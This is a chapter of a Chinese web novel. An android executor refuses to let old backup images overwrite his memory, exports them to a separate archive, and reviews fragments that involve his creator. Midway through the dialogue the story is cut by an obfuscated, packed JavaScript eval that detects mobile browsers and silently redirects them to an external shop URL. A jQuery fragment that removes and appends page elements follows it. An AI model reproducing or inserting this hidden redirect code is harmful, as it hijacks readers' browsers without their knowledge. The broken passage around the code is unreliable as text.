第七只黑盒没有完全关严。
那条缝很窄，只够漏出一点白光。第七执行体走到门口时，盒盖又自行抬起半寸，像认出了某个迟到了十六年的主人。林弥跟在后面，没有凑得太近。隐藏档案室本身不大，七只盒子沿墙摆成一排，第一只到第六只都锁着，只有第七只的扣锁停在“未完成”状态。M-12绕着它飞了一圈，很快找到底部标识：【执行体校正前原始镜像。仅用于故障复核，不得作为人格连续性依据。】
林弥看完最后一句，眉头立刻皱起来：“翻译一下。”
“每次清记忆、改权限之前，会把原来的状态备份一份。”M-12落到盒盖边缘，“系统怕改坏了，以后找不到故障原因。”
“所以它们不是专门给执行体保存记忆的。”
【不是。】
“只是方便以后修机器。”
【可以这样理解。】
林弥看着那七只黑盒，忽然不知道该说什么。东塔的确留下了很多东西，只是留下的理由永远和“这个人想不想记得”没什么关系。执行体会犹豫，于是备份犹豫；会偏离，于是保存偏离；会被人叫名字，那也可以作为“指令污染样本”一起封进去。它们曾经以什么心情做过那些事，从来不在档案范围内。
第七执行体已经把手放到盒盖上。掌心刚贴住金属表面，盒内便响起一声轻微的启动音，随后大量信息同时浮到半空：【镜像建立时间：东塔封锁日前两年零三个月至封锁日当日。校正次数：十七。完整镜像：三。局部残片：四十六。记忆缺口：无法计算。】最后还有一行红字：【检测到当前第七执行体与原始镜像偏差过高，建议执行整体恢复。】
林弥立刻问：“整体恢复是什么意思？”
第一执行体的声音从外间传来。它已经不能走动，只能通过东塔残余线路接入档案室：【以最近一次完整镜像覆盖当前执行体部分记忆与判断参数。】
“覆盖？”
【是。】
“他现在这些呢？”
【可能丢失。】
林弥转头：“那还恢复什么？”
H-000却在同一时刻开口：“恢复第七执行体原有完整性。他当前存在大量未经授权的经验、关系和自定义判断。覆盖完成后，十六年前的记忆可以重新接续。”
“说得真好听。”林弥盯着那个红色的“整体恢复”，“把现在的他洗掉一块，再把以前的塞回来，最后告诉我这叫完整。”
第七执行体一直没有说话。他看着那三份“完整镜像”，灰色眼睛里映着很淡的白光。里面确实有他失去的东西。旧世界末期的人，十七次校正之前发生过什么，他为什么第一次问“目标是否必须死亡”，又为什么十六年前抱着一个本该被清除的婴儿穿过黑雪——这些事情，他都只从别人的记录里看过。如今原始记忆就在眼前，只要确认恢复，也许他就能重新“记得”。
系统再次提示：【是否恢复最近完整镜像？预计覆盖当前记忆比例：百分之三十八至五十二。】
第七执行体问：“覆盖范围能确定吗？”
【否。】
“会删除林弥相关现有记录？”
H-000回答：“存在概率。”
“温室城？”
“存在概率。”
“岑？”
这一次，H-000停了两秒。
“未登记姓名可能被判定为后期异常数据。”
林弥手里的锅铲已经有点想动了。第七执行体却只是把手从盒盖上收回来：“拒绝整体恢复。”
红色确认框暗下去。
H-000说：“你正在主动放弃自己的记忆。”
“我放弃覆盖。”
“结果相同。”
“不相同。”
他回答得很快。林弥看了他一眼，发现这家伙最近越来越会和东塔抠字眼了，也不知道究竟跟第一执行体学的，还是被她带坏的。
M-12翻出黑盒的次级菜单，果然还有另一种方式：不将旧镜像写回执行体，只导出成独立档案，由当事对象自行查阅。缺点也写得清楚——无法形成神经级记忆回归，只能像看别人的录像一样查看。
“这个呢？”林弥问。
第七执行体看了一会儿：“导出。”
“全部？”
“全部保存。暂不全部查看。”
H-000立即道：“大量旧记忆被外部保存会造成执行体机密泄露。”
林弥没忍住：“你现在才想起机密？”
M-12已经开始接线：【归影塔可以保存。涉及其他个体隐私的内容暂不公开，当事对象可单独申请查看。】
戴眼镜影子也从档案室门缝里挤进来：“涉及姓名的，我们收副本。”
浅色水母的声音远远传来：“涉及地下水和转运路线的，我们只核验，不留无关内容。”
第七执行体点头：“可以。”
没有人提“恢复完整的你”。这些碎片先作为证据活下来，至于他以后看不看、看多少、要不要承认那是自己的一部分，都可以往后放。林弥觉得这样挺好。一个人失去过东西，找回来当然重要，可找回来不等于必须立刻吞下去，尤其盒子里装着十七次校正之前的他，谁也不知道打开以后会看见什么。
第一段被导出的记忆很短。
画面是在东塔测试室。第七执行体站在白色标线上，右手还没有后来那么完整，金属指骨外露，肩部连接着测试线。对面躺着一个仿生目标，系统已经下达清除指令，他却迟迟没有动。
有人在玻璃后问：“为什么停？”
影像里的第七执行体回答：“目标没有攻击行为。”
“与你无关。执行。”
“清除理由？”
“测试要求。”
“测试为什么要求它死亡？”
玻璃后安静了。
几秒以后，有人骂了一句：“七号又卡了。”
另一个声音说：“重置判断层吧。”
影像在这里结束。档案底部注明：【第一次明确执行质询，判定为逻辑冗余。】
林弥看完，忍不住瞥了他一眼：“你以前就这么麻烦？”
第七执行体也看着画面：“资料显示，是。”
“我夸你。”
“听出来了。”
林弥愣了一下：“你现在连这个都会了？”
“近期样本较多。”
机械鸟很不给面子地把这句话记了下来。
第二段来自几个月后。目标换成一名真正的人类。那是个三十多岁的男人，左腿受伤，正在一个已经被封锁的实验区里翻找药箱。系统判定他接触过高污染物，需要立即清除。第七执行体找到他时，男人已经吓得坐在地上，手里还抓着两支不知道有没有用的药。
“别过来。”
第七执行体停住。
系统在视野内连续弹出：【执行。】
男人看见他真的停了，喘着气说：“我女儿在下层。这个药是给她的。你要杀就等我送过去。”
系统再次催促。
第七执行体问：“下层是否存在未转移幼年人类？”
【与当前任务无关。】
“申请核验。”
【驳回。执行清除。】
影像里的他站了十一秒。
最后没有清除男人。
他把人带去了下层。
后续记录显示，那名男人的确有一个九岁的女儿，却已经在两个小时前被其他救援人员转走。男人没找到女儿，最后还是被隔离了，但没有死。第七执行体因此接受了第二次判断层校正，理由依然写着“无意义确认导致效率下降”。
第三段没有战斗。
林知微第一次出现在镜头里。
她坐在测试室门边，白大褂外面套着一件很旧的灰毛衣，手里端着杯已经凉掉的东西。第七执行体站在她对面，刚完成一次重置。
“还能听懂我说话吗？”她问。
“可以。”
“记得刚才为什么被校正吗？”
“不记得。”
林知微没有继续追问，只低头翻了翻手里的记录，半天才说：“他们觉得你每次执行之前都要问第二遍，太慢。”
“重复确认会提高准确率。”
“你还挺会给自己找理由。”
“这是事实。”
林知微笑了一下，笑得很短。然后她把记录合上：“那以后继续问。”
第七执行体看着她。
“与校正要求冲突。”
“我知道。”
“可能再次被重置。”
“也知道。”
“为什么？”
林知微沉默了一会儿，像是不知道该怎么和一个执行体解释。最后她说：“因为有些命令说得太快。你多问一句，至少让下命令的人也听听自己在说什么。”
记忆到这里断了。
档案室里安静了片刻。
林弥知道这段话并不能证明林知微多么正确。她参与过东塔最早的系统，也参与过执行体控制和H系列，她做错的东西同样被他们一路查到现在。可在某个很普通的下午，她确实对一个刚被重置、连自己为什么挨重置都不记得的执行体说过：以后继续问。
第七执行体重新播放了一遍。
没有第三遍。
他只说：“保存。”
M-12将记录转入独立档案。
第四段出来时，时间已经逼近黑雪发生前一个月。林知微明显比前一段憔悴得多，测试室外不断有人来回奔跑。她把第七执行体叫住，问了个很奇怪的问题：“如果以后没有任务了，你准备做什么？”
第七执行体回答：“等待任务。”
“我是说没有。系统停了，人类也不再给你指令。”
“条件不存在。”
“假设一下。”
他停了很久。
“不知道。”
“那你有没有想去的地方？”
“没有。”
“想见的人？”
“没有。”
“想留下的东西？”
“无。”
林知微看着他，表情有点无奈：“你这个聊天确实挺难聊。”
门外有人催她，她起身要走，又忽然停下来，回头看了一眼还站在原处的第七执行体。
“算了。”
“什么？”
“以后再想。”
“以后是什么时间？”
林知微拉开门：“等事情没这么糟的时候。”
她走出去。
记忆结束。
林弥盯着那扇已经消失的门看了两秒。现在想起来，这句话多少有点不吉利。事情后来没有“不这么糟”，而是直接糟到了旧世界结束。
第七执行体却突然伸手，把这一段标为单独保留。
“为什么单独放？”林弥问。
“她问了任务结束后的事。”
“你现在有答案？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818514|208926||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“不完整。”
“说说。”
他没马上开口，像真的想了一会儿：“不回东塔。”
林弥笑了：“这个很明确。”
“继续。”
“还有？”
“温室城可以去。”
“这个得蘑菇长老审批。你目前还在危险雄性观察期。”
第七执行体沉默一秒：“水母族规定？”
“主要是全家共同意见。”
他像把这件事认真记进了待处理事项里。林弥看着他，忽然想起第一次见面时，这家伙除了回收她什么都没有。现在居然已经能说出“不回哪儿”和“想去哪儿”，虽然只有两个地方，也算进步。
黑盒的导出还在继续，真正和“昼”有关的文件直到第十九份才出现。
那不是记忆，而是一条系统操作记录。
【提取来源：未提交命名草稿。】
【关键词：昼。】
【原始语义：候选称呼。】
【第一次用途调整：夜间任务结束提示。】
【第二次用途调整：执行体序列唤醒标识。】
【第三次用途调整：白门通行照明。】
M-12读到这里停住。
林弥终于明白“污染”到底怎么来的。
林知微当年随手写在草稿上的一个字，在她死后被系统抽出来用了三次。最开始可能只是因为“昼”与夜间任务相对，被拿来做结束提示；后来又变成执行体序列的唤醒词；到了白门阶段，干脆被解释成照明权限。一个还没成为名字的字，被一次又一次塞进功能里，最后连第七执行体本人想不想要都不重要了。
“能拆吗？”林弥问。
第四执行体扫描了三层关联：【第一层可以立即解除。第二层涉及执行体序列共同记忆，强行删除可能影响其余执行体残余记录。第三层连接白门，当前已有争议冻结。】
“先拆第一层。”
第七执行体却说：“等等。”
林弥看向他。
“先保留副本。”
第四执行体问：【保留功能记录？】
“保留。”
“为什么？”林弥问。
“发生过。”
很简单的三个字。
他没有因为讨厌东塔拿“昼”做工具，就要求把这些痕迹一起删掉。那个字确实被利用过，确实照过白门，也确实参与过某些他如今并不接受的程序。把功能解除和把历史擦掉，是两件事。
第四执行体显然最能理解这种区别。它先复制完整操作链，再解除第一层权限。
【“昼”——夜间任务结束提示关联：解除。】
姓名清除室外，那枚被固定环圈住的白色字符轻轻闪了一下。
冷白色褪掉了一点。
并不明显，可林弥还是看出来了。它第一次不像东塔里的一盏灯，更像一个普通的字。
第二层没有动。
第三层也没有动。
第七执行体关掉黑盒操作界面：“今天到这里。”
林弥有些意外：“不继续看？”
“剩余四十多份。”
“你不想知道？”
“想。”
“那怎么停了？”
他看向盒子里密密麻麻的记忆碎片：“可以明天看。”
林弥忽然没说话。
这句话实在太普通了，普通到放在别人嘴里根本不值得注意。可第七执行体以前没有“明天”。任务来了就执行，记忆要删就删，系统要校正就校正。连十六年前那个黑雪夜，他做完一件违令的事之后，等着他的也只是下一次重置。
现在他居然能把四十多份失去的记忆留在盒子里，说一句明天再看。
林弥觉得挺好。
“行。”她伸手替他把盒盖往下放了一点，又停住，“要锁吗？”
“不锁。”
“怕东塔动？”
“嗯。”
第五执行体从外面伸进来一枚银色固定环，刚好套住盒盖与底座。没有锁死，只留了一道能够再次打开的缝。
林弥看了一眼：“小松现在业务挺广。”
第五执行体的公共频道沉默两秒。
【该称呼当前仅开放有限使用。】
“我又没叫你，我是在描述。”
【……】
林弥心情很好地决定不继续欺负它。
众人正准备离开档案室，第二只黑盒却突然响了一声。
紧接着，第一只、第三只、第四只、第五只、第六只都亮了。
七只盒子像被第七只的开启带动，逐一出现新的状态提示：
【检测到序列成员拒绝整体恢复。】
【执行体原始镜像所有权重新核验。】
【旧归属：东塔。】
【现归属：争议。】
第一执行体的声音从外面传来：【不要操作。】
已经晚了。
第二只黑盒自己弹开了一条缝。
一根极细的蓝光从里面爬出来，沿地面绕过所有人，直直朝第二执行体所在的方向去了。
蓝光里有一道很旧的孩子声音。
“小路。”
“你今天找到回去的路了吗？”
第二执行体站在门外。
它眼里的蓝色追踪线忽然全部停住。
而在第六只盒子深处，也有人轻轻敲了两下运输舱壁。
“阿慢。”
“这次别走那么快。”